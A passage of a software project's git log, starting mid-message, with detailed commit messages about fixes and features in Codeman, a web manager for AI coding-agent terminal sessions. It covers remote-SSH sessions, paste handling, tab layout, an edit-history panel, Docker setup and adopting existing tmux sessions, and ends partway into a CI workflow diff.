desktop (fine pointer, not Android) and a touchscreen laptop stay off.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:35:20 +01:00
Codeman maintainer ca0f891c2b fix: never read a remote fix-plan path from the local disk (release review, #722)
setRemoteWorkingDir() records the path for authority only, and today
nothing else reads it for a remote session (loadFixPlanFromDisk's only
callers are setWorkingDir and the local watcher). The watcher now
remembers the remote mode and refuses both the local read and the local
watch for it, so a future caller cannot import a same-named local twin.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:34:05 +01:00
Codeman maintainer 9f7cba07ab fix: strip nested paste markers until none is left (release review, #726)
Ctrl+V's hand-built bracketed paste (#726) and the phone composer's
dropped CSI 200~/201~ markers from the text in ONE pass, so a clipboard
carrying ESC[20 ESC[201~ 1~ came out of it with an ESC[201~ that ended
the frame early: everything after it was typed as keys and each CR ran.
Both now strip until nothing matches. The composer's copy predates this
release; it is the same one-liner.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:30:15 +01:00
Codeman maintainer 1ad9db7606 fix: keep a remote session's fix plan authoritative (release review, #722)
#722 stopped handing a remote session's workingDir to the Ralph tracker,
which also left isFileAuthoritative false for remote sessions only. That
flag is what keeps the output-based completion guessers off, and it is
true for every local session with a working directory, so a remote loop
could end, and mark every todo done, on a prose line such as "All tasks
completed" while a local one cannot.

setRemoteWorkingDir() records the path without reading or watching the
local disk, so the fix plan stays authoritative as for a local session;
the file still reaches the tracker only through fix-plan/read, over ssh.
The test pins both, and fails on the previous head.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:25:50 +01:00
Codeman maintainer 593b2eb2ea Merge pull request #721: feat(tabs): L-shaped header strip, wrapped rows run under the toolbar 2026-10-28 09:10:09 +01:00
Codeman maintainer 5add56eaf6 Merge pull request #726: fix(terminal): don't double a desktop dead key, and bracket Ctrl+V after replay 2026-10-28 09:10:09 +01:00
Codeman maintainer 9ee6df027d Merge pull request #730: fix(file-preview): let rendered Markdown fill the resized window 2026-10-28 09:10:08 +01:00
Codeman maintainer f1df8f8c0a Merge pull request #731: fix(response-viewer): a middle click on a file path opens it instead of the dashboard root 2026-10-28 09:10:07 +01:00
Codeman maintainer ad3f6328e6 Merge pull request #725: fix(web): accept empty chunked API POST requests 2026-10-28 09:10:07 +01:00
Codeman maintainer 6d640b08ce Merge pull request #728: fix: read a remote session's @fix_plan.md on its host, refuse remote Ralph writes 2026-10-28 09:10:06 +01:00
Codeman maintainer 9fec26009f Merge pull request #727: fix: don't point the image watcher at a remote session's directory 2026-10-28 09:10:06 +01:00
Codeman maintainer 66528962ee Merge pull request #722: fix: don't point the Ralph @fix_plan.md watcher at a remote session's directory 2026-10-28 09:10:05 +01:00
Codeman maintainer 20cd0226a5 Merge pull request #729: fix(i18n): drop the duplicate ZH_CN "Idle" key 2026-10-28 09:10:05 +01:00
Codeman maintainer cdff4d4d98 fix: apply the review items for #721 at merge
Add the L-shaped strip to the Tab layouts section of
docs/architecture-invariants.md, the mechanism file src/web/CLAUDE.md
links to.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:09:56 +01:00
Codeman maintainer c708312a3f fix: apply the review items for #730 at merge
Set --rv-content-max: none on the File Viewer's rendered document, so
ASCII-diagram blocks (capped by that variable with a 720px fallback the
Response Viewer sets) follow the window like the rest of the document,
and pin it with a third assertion.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:09:37 +01:00
Codeman maintainer 79a7f494b1 fix: apply the review items for #728 at merge
Export isPathWithinRoot from file-routes.ts and use it for the remote
@fix_plan.md confinement, so the two checks cannot drift; rewrap the
readRemoteFixPlan JSDoc and say NOT_FOUND; list fix-plan/read and the two
write refusals in docs/remote-sessions.md and architecture-invariants.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:09:12 +01:00
Codeman maintainer dd56674a1d fix: apply the review items for #727 at merge
toggleSessionImageWatcher checks the response, so any refusal puts the
switch back and toasts an error instead of a success; architecture-
invariants says the image watcher never watches a remote workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:08:03 +01:00
Codeman maintainer 74fc3ea6ae fix: apply the review items for #722 at merge
Note in docs/remote-sessions.md that the @fix_plan.md auto-load does not
run for remote sessions, and rewrap the test's header comment.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:07:28 +01:00
Codeman maintainer ad2f06ce8b fix: apply the review items for #725 at merge
Add the @fileoverview the repo carries on every module: why the parser
exists, why it is POST + /api/ only, and that it owns the root '*'
content-type slot.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-28 09:06:52 +01:00
DDTandDDT 6f820ca990 fix: deliver Ctrl+V paste through terminal.input
Hand the bracketed frame to the target terminal with input() so onData
scrolls to the bottom, clears the selection, and delivers the bytes.
The paste trap no longer writes the frame itself.

Fixes #716

Co-authored-by: DDT <1786035110@qq.com>
2026-10-28 07:09:35 +00:00
JD a1406f1753 fix(settings): stop a failed settings write from saying it was saved
App Settings' save handled only the multi-user admin-only 403 and the tunnel's no-password 403, so a 409 for a settings.json that does not parse, a 400, a 500 or a dropped connection (`_apiPut` answers null) still toasted "Settings saved" and closed the modal, and the run mode and respawn preset writes failed with no word at all. Those failures now warn with the server's reason (else the HTTP status, else that the server could not be reached), the modal stays open, and nothing that assumes the server stored the save runs: Apply's refresh, the tunnel-starting toast and the gesture-control reload. Since the modal now invites a second Save, the plan-usage collection flip and the gesture reload are judged against the settings the failed save started from until a save lands, so the retry still sends the flip and still reloads.

A save with the tunnel switch on is read as a tunnel refusal only on a 403, so another failure no longer turns the switch off or shows the no-password message, and an accepted no-password retry now resends the whole save instead of the tunnel keys alone, which had left every other setting unsaved behind "Settings saved". Run mode and respawn presets stay saved on this device as before and now say they were not saved on the server. Stopping the tunnel from the welcome screen or the tunnel panel no longer says "Tunnel stopped" when the server refused the write, since the tunnel is then still running.
2026-10-28 01:32:47 -04:00
JD 8d75e6bd15 fix(mobile): show a press on the phone toolbar and accessory keys
On every skin but og the skin block outranks the phone :active backgrounds of the toolbar buttons, so Run showed no press at all and the others at most a faint tint, eased in over their 0.2s transition, so a quick tap showed almost nothing. A press now scales and brightens (darkens on the light skins) over 80ms, two properties nothing on these buttons sets at a higher specificity, and honours prefers-reduced-motion.

A browser test presses every phone bar control on all seven skins and pins the computed transform and filter, so a later rule that takes the press away again shows up in the browser suite.
2026-10-28 01:04:15 -04:00
JD affe91d7ed test(docker): give the Update-Codeman.sh smoke harness a non-root appdata owner
Both Update-Codeman.sh and Start-Codeman.sh derive PUID:PGID from the CODEMAN_APPDATA_PATH owner and refuse a root-owned directory. The smoke harness created that directory with mkdirSync, so under a root test runner (CI or agent containers) it was owned 0:0 and the script exited at that guard before its `build --no-cache` and `down`, failing the default and --keep-volumes smoke tests with an empty build/down log. The guard is correct; the harness now chowns appdata to 99:100 (docker/README.md's own example) when running as root, matching a real deployment.
2026-10-28 00:39:13 -04:00
JD b63935fa66 fix(response-viewer): a middle click on a file path opens it instead of the dashboard root
Path links and in-document links carry a placeholder href (#, #fragment) that the click delegate resolves itself, but a middle click fires auxclick, never click, so the browser followed the placeholder and opened the dashboard root in a new tab. A middle click on those links now does what a click does; real URLs keep the browser's own middle click.
2026-10-28 00:34:50 -04:00
timkjr 591eebe6e5 fix(i18n): drop the duplicate ZH_CN "Idle" key
The Approvals Inbox strings added a second `Idle: '空闲'` to the ZH_CN
table, beside the original in the status words. Same value, so nothing
changed on screen, but every build warned:

  [WARNING] Duplicate key "Idle" in object literal [duplicate-object-key]
2026-10-27 09:52:07 -05:00
timkjr 46122247e4 fix: read a remote session's @fix_plan.md on its host, refuse remote Ralph writes
A remote-SSH session's workingDir is a path on the remote host, but the
Ralph file routes used local fs on it: fix-plan/read imported a same-named
LOCAL @fix_plan.md (or 404'd), and fix-plan/write and ralph-prompt/write
wrote their files into the local twin of the remote folder. Same root
cause as the Ralph @fix_plan.md watcher fix.

- fix-plan/read reads the file on the remote host through
  src/remote-files.ts (the File Viewer's ssh path): one probe of the file
  and the workspace, the File Viewer's confinement (a file resolving
  outside the workspace is treated as missing), then a capped read (1 MB).
  A missing remote file is the same NOT_FOUND as a missing local one; a
  non-file, an oversized file or an unreachable host is a failed read,
  never a local fallback.
- fix-plan/write and ralph-prompt/write refuse a remote session
  (INVALID_INPUT): remote writes are out of scope by design, as for the
  File Viewer's remote edit. The Ralph panel already shows the error.
2026-10-27 09:29:18 -05:00
timkjr 2c2f69adba fix: don't point the image watcher at a remote session's directory
A remote-SSH session's workingDir is a path on the remote host, and the
image watcher watched it on the local disk: a folder that is not there,
or a same-named local folder whose images then popped up as the remote
session's. Same root cause as the Ralph @fix_plan.md watcher fix.

Three places start a watch, and all three now skip a remote session:
setupSessionListeners(), the app-wide toggle in PUT /api/settings (which
re-watches every enabled session), and POST /api/sessions/:id/image-watcher,
which refuses to turn it on (INVALID_INPUT, like the Git fetch settings
route) and still lets it be turned off. The Session Options row is hidden
for a remote session, the way the Git tab is, since the client's
_apiPost() does not throw on a refused request.
2026-10-27 09:26:17 -05:00
DDTandDDT dd09a383f1 fix: stop desktop dead-key doubling and bracket Ctrl+V paste
KeyCode 229 recovery forwarded a composed character that xterm had
already delivered, so a desktop dead-key backtick arrived twice.
create() now attaches only when the primary pointer is coarse.

Ctrl+V text paste went through terminal.paste(), which drops the
CSI 200~/201~ markers after a replay clears xterm's DECSET 2004
mirror. Plain text is now a hand-built bracketed frame on the
session input path.

Fixes #716

Co-authored-by: DDT <1786035110@qq.com>
2026-10-27 12:06:45 +00:00
kdxcxs b0487cc9af fix(web): accept empty chunked API POST requests
Handle untyped zero-byte POST streams at the shared API parser boundary.
Keep request.body undefined and preserve existing typed parsers, 404
fallbacks, authentication and webview proxy stream handling.

Reject nonempty untyped streams on the first byte, and cover parser
boundaries, raw HTTP framing and real WebServer routing with regressions.
2026-10-27 16:22:00 +08:00
timkjr 285aa0b2b2 fix(tabs): keep the plain wrap when the strip scrolls, add a browser test
Review follow-up for the L-shaped header strip:

- _syncTabStripCorner() keeps the plain wrap when the plain strip is
  already past --tab-strip-max-height, checked before .tabs-corner goes
  on: the float scrolled with the tabs while the toolbar stayed put, so a
  scrolled strip put tabs under #headerRight, and a re-render of a
  scrolled two-rows strip sized the float from the scrolled frame. The
  "- scrollTop" in contentTop is gone (always 0 now).
- A strip just under its max-height that passes it once the float is in
  falls back to the plain wrap as well.
- test/tab-strip-corner.browser.test.ts (real Chromium, real header and
  styles.css), listed in BROWSER_TEST_GLOBS.
- src/web/CLAUDE.md Tab layouts entry describes the L-shaped classic strip.
2026-10-26 21:35:04 -05:00
timkjr 0a56c1445f fix: don't point the Ralph @fix_plan.md watcher at a remote session's directory
A remote-SSH session's workingDir is a path on the remote host, but
setupSessionListeners() handed it to the Ralph tracker, whose
RalphFixPlanWatcher reads and fs.watch()es it on the LOCAL disk. Where the
path does not exist locally (the usual case), every server start logged

  [RalphFixPlanWatcher] Could not watch @fix_plan.md: Error: ENOENT ...

once per remote session; where a same-named local directory did exist, it
watched the wrong tree. Setting the path also made the tracker treat that
unreadable file as authoritative (isFileAuthoritative is "a path is set"),
which switched off its output-based todo completion for remote sessions.

Skip the tracker's working dir for remote sessions, next to the existing
external-CLI skip.
2026-10-26 19:53:57 -05:00
timkjr 3dafc89095 feat(tabs): L-shaped header strip, wrapped rows run under the toolbar
A wrapped classic tab strip stopped at the toolbar's left edge on every row,
so the space under the header chips stayed empty and long tabs took a row
each. Once the strip wraps, the toolbar now sits over the strip's top-right
corner and the strip lays its tabs out inline around a float sized to the
toolbar's box (_syncTabStripCorner), so only the rows beside the toolbar stop
short of it and every later row runs the header's full width.

- Wrap is still measured with the toolbar in flow (the corner is dropped
  before the measure), so the single-row strip is unchanged.
- A ResizeObserver on the toolbar re-decides wrap + corner and redraws the
  lineage routes when a reading or the divider changes its size.
- Falls back to the plain strip when the first tab cannot fit beside the
  toolbar (it would otherwise leave an empty band).
- Classic arrangement, desktop, header host only; state/case/ledger, the
  sidebar and the tab rail keep their own layouts.
2026-10-26 19:19:06 -05:00
Codeman maintainer 538fcae708 fix(response-viewer): lay out Persian, Arabic and Hebrew right to left (#715)
The Response Viewer and the File Viewer's markdown view gave no block a
dir, so a right-to-left answer was left-aligned with its punctuation on
the wrong end and its bullets and quote bar on the left.

_renderMarkdown now gives each outermost prose block dir="auto" (nested
blocks inherit, so a list keeps its markers on one side), pins pre and
code to dir="ltr", and keeps a dir the agent wrote. _linkifyFilePaths
pins the path anchors it creates to ltr. Because dir="auto" skips
descendants that carry a dir, code and paths no longer decide a
sentence's direction. The list indent, quote bar and table borders move
to logical properties, and the phone Compose textarea gets dir="auto".

The terminal pane is unchanged: xterm.js has no right-to-left support
(xtermjs/xterm.js#701).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-25 16:03:41 +01:00
DevvynandClaude Code 34f7766d43 fix(file-preview): let rendered markdown fill the resized window
The corner grip and Expand size the window correctly, but the document
kept a fixed 960px reading column from before the resize feature
existed, so text stopped reflowing once the window grew past it.
Pinned by new rule 13 in file-preview-window.test.ts.

Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-10-25 09:56:40 +08:00
RandalixandClaude Opus 5.5 bf2a705705 fix(edit-history): doc comment no longer reads as a second _onSessionIdle definition
The SSE dispatch-table guard matches `(^|\s)<handler>\s*\(` across all public
modules; "Called by _onSessionIdle() …" in edit-history-ui.js counted as a
second definition and turned the guard red.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 15:46:51 +02:00
RandalixandClaude Opus 5.5 1c87cd2ac7 fix(edit-history): review round 3 — restored sessions read again, /clear reads the old conversation to its end, bounded memory
- remove() drops the session's slot once the file is gone: a session that comes
  back with the same id (reboot restore) starts afresh instead of answering
  `removed` until the next restart. A run in flight stays on its own slot's store,
  and the routes start a sync in the same tick as their session check, so a
  deletion right after it still stops that sync. A store that is not loaded is
  deleted without being parsed (deleteStore).
- A new conversation (/clear, resume) first reads the previous transcript, next
  to the new one, to its end with its subagents, so edits it got after the last
  read are not lost with its cursors. "Load older" reads the stored conversation
  while the switch is pending.
- At most MAX_LOADED_STORES (3) stores stay in memory; the least recently used one
  without a run is written if it changed (settle) and loads again on demand.
- Tmp files are named per process start, so a reused pid (a container's pid 1)
  no longer keeps a stale one through the startup sweep.
- load() keeps only a plain transcript id (the previous transcript's path is built
  from it) and no cursors without one; a pending Bash call with an id, cwd or
  agent id over 4,096 characters is not kept at parse time either.
- nextRange() is gone: production reads forward through the reader. The store
  tests mirror the reader's range choice, and a new end-to-end test runs the
  real reader, sync and store (/clear cases, 40 seeded random transcripts).
- The wiring guard scans all of src for holders of the sync.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 15:35:12 +02:00
RandalixandClaude Opus 5.5 321268754a fix(edit-history): review round 2 — whole lines around skipped ones, full-budget reads, orphan sweep
- Forward: after a line longer than the budget, the next line is read from
  its start instead of being skipped with it when it crosses the chunk end.
- Backward: the line before a skipped long line is read whole; a floor that
  turned out to be a line start no longer stalls.
- A chunk the shared forward budget cut short is not applied (it read as one
  over-long line) but read in a later pass, so a first open of a long main
  transcript reaches the subagents in the same sync.
- Load older reads a full budget block of up to three transcripts per click,
  taking turns, instead of splitting one budget (a normal Write longer than
  the share was skipped for good).
- A subagent transcript that vanished loses its cursor, so Load older does not
  stay on forever.
- POST /api/cleanup-state forgets the history of every record it drops; a
  startup sweep deletes edit-history files no session or record owns and
  stale tmp files of other processes.
- load() rebuilds entries from known fields (string diff lines, per-edit cap
  re-applied, ids counted against the byte cap), bounds pending Bash fields
  and agent ids, and does not parse a file over 32 MiB.
- No re-read after Codeman's own keep-alive turn.
- Tests: regression tests for each of the above (they fail on the previous
  commit); the remove-during-write test now meets the write under way; the
  sync and route tests remove their stores before the temp dir, so no late
  save recreates it in /tmp.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 15:00:43 +02:00
RandalixandClaude Opus 5.5 f5ce80dce2 fix(edit-history): re-read at the end of a turn on session:idle
transcript:complete fires on a `result` line, and claude's interactive transcript has
none (checked against a live session: user/assistant/system turn_duration, no result),
so an open panel never re-read at the end of a turn. A background subagent writes after
the Agent tool end that started it, so its edits stayed missing until the next edit-
capable tool end or a manual refresh.

The panel now re-reads on its session's session:idle, through _onSessionIdle (the SSE
handler map holds one handler per event). Live: a backgrounded subagent's Write shows
up in the open panel at the end of the turn, without a click.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 14:38:54 +02:00
RandalixandClaude Opus 5.5 dcdeaab98d fix(edit-history): review round 1 — record-bound deletion, load-time bounds, older reads per source
- The history is deleted when the session's persisted record goes (forgetEditHistory):
  kill via cleanupSession (a pinned record is only demoted and keeps it), the
  persisted-only DELETE, and stale cleanup at startup. After remove() neither a sync in
  flight nor a later request writes the file again; writes are serialized.
- load() re-bounds a damaged file: cursors, pending Bash calls (MAX_PENDING_BASH) and
  subagent labels (MAX_AGENTS, oldest unused dropped first).
- Load older reads one block of every transcript, budget split between them, and only
  the files it asked for; a block short of budget reads its end. A line longer than the
  budget is skipped going back as well (floorMidLine).
- Concurrent first callers share one store; a forward request folded with an older one
  still reads forward.
- Images outside the workspace get no thumbnail (one attachment id per render); a click
  opens the shared preview, which registers once with notify: false.
- Docs: per-edit diff cap, deletion rule, load-time bounds, thumbnails, follow triggers.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 14:30:05 +02:00
RandalixandClaude Opus 5.5 95e2272f89 feat(edit-history): edit history panel for local claude sessions
Part 1 of #643 (local sessions only; remote follows as its own PR). An
opt-in, per-device header button opens a panel with the active session's
edits, newest first: every Edit/Write/MultiEdit/NotebookEdit of the main
agent and its subagents with its diff, plus images a Bash call rendered or
the agent sent. Remote, Docker and non-claude sessions answer `unsupported`.

- Reads only on request: `?sync=1` when the panel opens; while it is open on
  that session it re-reads after an edit-capable `transcript:tool_end` or a
  `transcript:complete` from the existing transcript watcher. No hook, timer,
  second watcher or new SSE event; a wiring guard pins it.
- Main transcript: the path the transcript watcher follows (hook-reported),
  else `<id>.jsonl` under the session's own CLAUDE_CONFIG_DIR override or
  the server's config dir. A config dir set outside Codeman is found with
  the next hook; until then the panel says so.
- Store: dataPath('edit-history')/<id>.json, 0600 via tmp+rename, capped at
  500 entries and 4 MiB of diff text per session, deleted with the session,
  blocked in isSensitivePath, never fed to /api/search. Every route goes
  through findSessionOrFail with req.
- Images only through existing file surfaces: file-raw inside the
  workspace, the attachment route with notify:false outside it.
- textContent rendering, bounded byte-offset reads, marker-class header
  button, hidden on phones (locked in the mobile policy test).

Docs: Working-With-Files, Settings-Reference, architecture invariants, API
reference, CLAUDE.md key pattern.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-23 14:00:48 +02:00
shenlvkang-collab bbd840adba fix(files): share File Viewer scan budget across directories 2026-10-13 20:01:33 +08:00
Codeman maintainer 0a63588716 feat(docker): guided first run for the Compose deployment
A new Docker install was: clone (undocumented), copy .env.example by hand,
fix an Unraid data path and a Perth time zone, replace `changeme`, run the
start script, and then guess when the server was up. Start-Codeman.sh now
does all of it from a fresh clone:

- Preflight names the fix for a missing docker CLI, a missing or too-old
  Compose plugin (config --environment needs 2.27.2, docker/compose#11891),
  and an unreachable daemon (docker group, never sudo).
- With no docker/.env, it asks three questions (data folder, port,
  password; Enter takes each default: ~/codeman-docker, 3000 or the next
  free port, a generated password) and writes docker/.env FROM the example,
  so every key the updater's diffRequiredEnvKeys expects is present. Mode
  0600, host time zone, values Compose would interpolate single-quoted.
  Refuses $HOME, ~/.codeman (a native install's state dir) and anything
  inside the checkout (the image build context). --yes / no TTY take the
  defaults, --setup-only stops after writing the file. An existing .env is
  never edited, and root never runs the setup (Unraid keeps the hand route).
- After `up`, it waits until the server answers (docker exec probe, crash
  loop caught by the restart count) and prints the URL, the LAN URL, the
  generated password and the logs/stop commands; --no-wait skips the wait.
- `changeme` is refused before anything starts (the container publishes on
  every interface and holds the Docker socket); Update-Codeman.sh checks it
  before its build and down so the stack is never left stopped.
- Compose settings are read with ONE config --environment call, with its
  error reported, instead of three silent ones.

docker-compose.yaml and server.Dockerfile are untouched (their hashes gate
the in-app updater), and .env.example changes values and comments only.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-09 19:14:49 +02:00
d fei 09ccffd32e fix(adopt): never drive, write to, or answer for a session we did not start
Review items 3, 4 and the smaller ones on #510. An adopted session wraps a
process someone else launched, and its mode is whatever the probe saw — very
often `claude`. Every guard below is therefore its own `isAdopted` check rather
than a side effect of the external-CLI rule: the two ask different questions,
and merging them means the day the first loosens, Codeman starts acting on a
live conversation that is not ours.

- The boot workspace-hook sweep skipped only non-claude and `session.remote`.
  An adopted session keeps its connection on `adopt.remote` / `adopt.docker`,
  so a tab wrapping someone's in-container or over-ssh claude looked local and
  Codeman wrote `.claude/settings.local.json` into their repo on every restart.
- The workspace-trust auto-accept read the pane and pressed keys for 90s after
  `startInteractive()`. In an adopted pane that is someone else's dialog, and
  boot recovery re-opens the window on every restart.
- Auto-clear, auto-compact, auto-resume and the Ralph auto-enable in
  `POST /interactive` all drove the pane. Each now refuses with its own gate.
- The wrapper's `workingDir` was the foreign pane's cwd. That cwd can carry
  characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
  makes `createSession` throw so the tab never starts, and for a container or
  ssh candidate it is not a path on this host at all. It is now a neutral local
  `/tmp`, the same cwd `resolveMuxAttachCwd` already gives the pane; the foreign
  cwd stays on `adopt.paneCurrentPath` for display.
- The CLI signature table hardcoded ids, which CLAUDE.md forbids outside
  `stock.ts`, and had already gone stale: `omp` was missing, so a hand-started
  omp pane read as `shell`. It is now derived from each entry's
  `discovery.binaries` at call time, regex-escaped, longest name first. Stock
  entries only, since `SessionMode` is the closed union of stock ids.
- The descendant walk now passes `onTruncated`. A capped walk returns "nothing
  matched", which is byte-identical to the answer for a real shell.
- The home screen's wide scan is one-shot. Riding `docker exec` and a full ssh
  handshake per target, each with a ~12s timeout, on the 8s poll stacked
  connections on a slow host. Wide rows are kept apart and merged, because a
  local-only payload cannot contain them.
- Adoption failures report the server's own message. `_apiJson` folds a non-2xx
  to null, which collapsed "could not reach it just now" into "that session is
  gone" and reported a live remote session as deleted on every link flicker.

Tests: route tests for the refusals, the admin gate, the 404 re-resolve, the
one-wrapper-per-target reuse and the adopt round-trip; unit tests for the two
non-HTTP guards, the registry-derived signatures, truncation reporting and the
frontend's scan and error paths. Each guard was removed in turn to confirm its
own tests go red.
2026-09-30 23:29:54 -07:00
d fei aec4867821 fix(adopt): never create a session on someone else's tmux server
Review items 1 and 2 on #510.

`tmux new-session -t <name>` does not fail on a missing target. Measured on
3.3a: with only `work-prod` present it joined that session's group, with
nothing matching it opened a fresh shell, and on an empty socket it started a
tmux server that had none. The command re-runs whenever the wrapper pane is
respawned, and boot recovery does that for every dead pane, so after the owner
exits their session the next Codeman restart would put a new shell on their
default socket, in their container, or on their ssh host.

The invocation now begins with an exact-match `has-session -t '=<target>'` and
exits with a message when it misses. Measured: `has-session` does not start a
server on an empty socket, and the `=` prefix is what stops it matching
`work-prod` by prefix. `=` cannot go on `new-session -t` itself — tmux reads it
as part of the name and creates a group literally called `=work` — so it has to
be its own command.

The read-only `attach-session -r` fallback is gone rather than fixed. It hung
off `||`, so it fired on ANY `new-session` failure and not just an old tmux: a
leftover view from a previous adoption of the same Codeman session makes
`new-session` report `duplicate session` (measured), and the user then got a
read-only client showing the owner's status bar, with typed input dropped,
while the API reported success. Our own stale view is now removed first with a
`kill-session -t '=<our view>'` — the view name is derived from the Codeman
session id so it is provably ours, and measured, killing by name touches only
that session and leaves the owner's alone. Nothing to remove is the normal
case, so that step must not abort the chain.

`SessionAdopt.readOnly` goes with it. It was never set and never read, while
its comment claimed the UI surfaced it. Adoption now either attaches a writable
view or fails with a message; there is no third state.
2026-09-30 23:29:39 -07:00
d fei 245ee68c7c feat(adopt): adopt tmux sessions a human started, in all three locations
A tmux session someone opened by hand (`tmux new -s work`, then `claude`, or
just a shell) is invisible to Codeman: it lives on the default socket, not the
instance-scoped one Codeman owns. The home screen now lists those, and one
click wraps one in a Codeman tab. Local, in-container and over-ssh all work.

The shape is a WRAPPER session, not a direct attach: adoption creates an
ordinary `codeman-<8hex>` session on our own socket whose pane runs the
attach. That makes "detach, never kill the foreign session" structural rather
than a matter of discipline — `killSession` can only ever reach our own
wrapper, so no shape of caller bug reaches the foreign server. View reclamation
differs by location: local relies on client death and ssh on SIGHUP, but a
`docker exec` does NOT die with its client, so the in-container view has to be
reclaimed explicitly on kill or every adoption leaks one.

Measured facts, recorded in the code comments:

- A grouped session (`new-session -t`) buys `status off` and an independent
  current window. It does NOT buy an independent size. A window is one object
  with one size and a group shares it: on tmux 3.3a a bare attach and a grouped
  attach both shrink a 200x49 target to 80x23. Only `window-size largest` holds
  it, and that is a shared window option which survives our detach, so setting
  it would permanently rewrite the owner's configuration. Left unset.
- Session names come from other people, while the local launch chain ends in
  `bash -c` + `JSON.stringify`, which escapes neither `$` nor backticks — the
  outer shell performs command substitution before the inner single quotes are
  considered (verified: both substitutions inside the inner quotes ran). So
  session names and socket paths go through a character allowlist and are
  dropped at DISCOVERY, which means a non-conforming candidate never gets an
  id and the adopt endpoint fails closed when it re-resolves.
- `pane_current_command` is `node` for both claude and codex, so the mode can
  only come from a bounded process-tree walk of `pane_pid`'s argv; anything
  unrecognized is treated as a shell.

An adopted session has to say no to every assumption that Codeman owns the
pane: respawn, Ralph, the orchestrator and hook waits all refuse. The hook
check runs BEFORE the mode check, because adoption asks who launched the
process and no mode can vouch for a workspace Codeman never touched. `paneExit`
is forced to unknown, since the pane runs `tmux attach` rather than the agent
and its exiting with 0 only means the connection ended. Reboot restore refuses
too: all Codeman ever had was an attach command, and replaying it would build a
connection to a foreign session a reboot has almost certainly taken with it,
while presenting whatever it lands on as a session we restored.

Adoption is admin-only under multi-user mode: adopting someone's shell is
equivalent to arbitrary host execution. Discovery is read-only, never creates a
session, and degrades to an empty list whenever a probe cannot reach its target.
2026-09-29 18:01:47 -07:00
318 changed files with 64316 additions and 1305 deletions

No files matched your search

+1 -1
View File
@@ -10,7 +10,7 @@
"name": "codeman",
"source": "./plugins/codeman",
"description": "Drive Codeman from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.46.0",
"version": "1.49.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+84
View File
@@ -80,6 +80,35 @@ jobs:
CLI_DETECT_DONE=""; detect_all_clis
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: skipping the AI CLI install menu continues"
# --ai-cli answers the same menu with no terminal: `none` carries on, and a
# name runs that one entry (bash 3.2 cannot expand an empty offer list under
# set -u, which is the guard the loop over it has to get right).
has_tty() { return 1; }
AI_CLI_CHOICE=none
offer_ai_cli_install >/dev/null 2>&1
AI_CLI_CHOICE=codex
k=0; while [[ $k -lt ${#CLI_INSTALL_CMD_TRUSTED[@]} ]]; do
CLI_INSTALL_CMD_TRUSTED[$k]=""
k=$((k + 1))
done
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: --ai-cli answers the menu, also with nothing to offer"
# What the desktop app runs: preflight on stdout, and only JSON there. These
# child runs must not inherit CODEMAN_INSTALL_SH_LIB, or they stop at the
# sourcing guard and print nothing. Each check ends in `|| exit 1`, because
# bash 3.2 does not let a false [[ ]] trip set -e.
out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh preflight --no-admin)
[[ "$out" == "{\"schema\":1,"* && "$out" == *"]}" ]] || { echo "preflight printed: $out"; exit 1; }
json_string "a\"b\\c" >/tmp/json-out
[[ "$(cat /tmp/json-out)" == "\"a\\\"b\\\\c\"" ]] || { echo "json_string printed: $(cat /tmp/json-out)"; exit 1; }
echo "bash $BASH_VERSION: preflight prints JSON"
# How the desktop app adds an agent: a real run of the subcommand, which stops
# on the missing npm before it could install anything.
if out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh agent codex --no-admin --progress 2>&1); then
echo "agent ran with no npm to run"; exit 1
fi
[[ "$out" == *"@@codeman phase agent"* && "$out" != *"@@codeman phase done"* ]] || { echo "agent printed: $out"; exit 1; }
echo "bash $BASH_VERSION: agent stops without saying done"
'
# Issue #382: the dsh identity probe builds an OPTIONAL `timeout` prefix as an
# array, and on stock macOS there is no `timeout`, so the array is empty and the
@@ -151,6 +180,61 @@ jobs:
RECONFIGURE=0; parse_flags --port 4001; [[ "$RECONFIGURE" == "1" ]]
echo "bash $BASH_VERSION: question phase (flags, launch default, occupied :443, rename opt-in, kept password, start line) ok"
'
# No-admin route: the helpers that decide what gets downloaded and whether it is
# trusted (the Node.js checksum pick, the tmux digest table, the verify step), the
# stop-before-download check, and an archive install plus its replacement, all
# in bash 3.2. This image is Alpine, so it is also the one place the musl branch
# runs for real: a machine the route cannot serve must stop BEFORE a download.
docker run --rm -v "$PWD":/w -w /w -e CODEMAN_INSTALL_SH_LIB=1 -e HOME=/tmp/h bash:3.2 bash -c '
set -euo pipefail
mkdir -p /tmp/h /tmp/src/Codeman-1/src
. /w/install.sh
sha=$(printf "%064d" 7)
